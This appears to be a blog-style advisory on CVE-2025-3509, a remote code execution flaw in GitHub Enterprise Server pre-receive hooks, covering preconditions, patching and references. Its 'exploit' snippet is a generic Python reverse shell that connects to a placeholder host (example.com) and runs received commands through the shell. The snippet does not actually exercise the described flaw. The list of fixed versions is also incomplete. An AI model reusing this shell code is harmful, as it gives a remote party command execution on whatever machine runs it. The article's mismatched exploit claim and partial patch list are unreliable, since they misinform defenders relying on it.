An important security vulnerability was recently identified in GitHub Enterprise Server, a popular platform for software development and collaboration. The vulnerability, assigned CVE-2025-3509 and classified as a Remote Code Execution (RCE) flaw, affects the pre-receive hook functionality in all GitHub Enterprise Server versions prior to 3.17. If exploited, attackers could potentially execute arbitrary code on the targeted system, leading to privilege escalation and complete system compromise.

Exploit Details

GitHub uses pre-receive hooks as a means of ensuring code quality and preventing unwanted changes from being pushed to the repositories. These hooks are essentially scripts that run automatically every time a new change to the repository is about to be pushed. It provides developers with the ability to enforce custom policies on specific repositories.

Attackers capable of exploiting this vulnerability must first gain access to either site administrator permissions to enable and configure pre-receive hooks or to a user account with permission to modify repositories already containing the pre-receive hooks.

The vulnerability relies on exploiting dynamically allocated ports that become temporarily available during certain operational situations, such as the hot patch upgrade process. This means that an attacker must be aware of these specific operational conditions to successfully exploit the vulnerability, thereby narrowing the attack window.

Here is a sample code snippet that demonstrates a potential exploit attempt on a vulnerable system

import socket
import subprocess

def execute_command(command):
    result = subprocess.check_output(command, shell=True)
    return result

def exploit_vulnerable_host(host, port):
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect((host, port))

    while True:
        command = connection.recv(1024).decode("utf-8")
        result = execute_command(command)
        connection.send(result.encode("utf-8"))

    connection.close()

exploit_vulnerable_host("example.com", 12345)  # Replace with target host and available port

Official References

The vulnerability was discovered and reported to the GitHub Security Team via their Bug Bounty program. The team acknowledged the issue and promptly released security updates to patch the vulnerability. The fixed versions are as follows:

3.13.14

GitHub Enterprise Server users are urged to update their systems to one of these fixed versions to eliminate the risk of exploitation. Detailed information on the vulnerability, including additional mitigation measures, can be found on the GitHub Security Advisory page:

- GHSA-6j34-gwx6-393p: GitHub Enterprise Server Security Advisory

Additionally, the National Vulnerability Database (NVD) provides a detailed overview of the vulnerability and its characteristics:

- CVE-2025-3509 - National Vulnerability Database (NVD)

Conclusion

Although CVE-2025-3509 could result in substantial damage if exploited, its requirement for specific operational conditions and permissions make it a less attractive target for broad-reaching attacks. Nevertheless, organizations using GitHub Enterprise Server should treat this vulnerability as a priority and promptly update to the latest patched versions to protect their systems and repositories. Developers should also consider participating in GitHub's Bug Bounty program to help identify and report any potential security issues in the future.

Timeline

Published on: 04/17/2025 23:15:42 UTC
Last modified on: 04/21/2025 14:23:45 UTC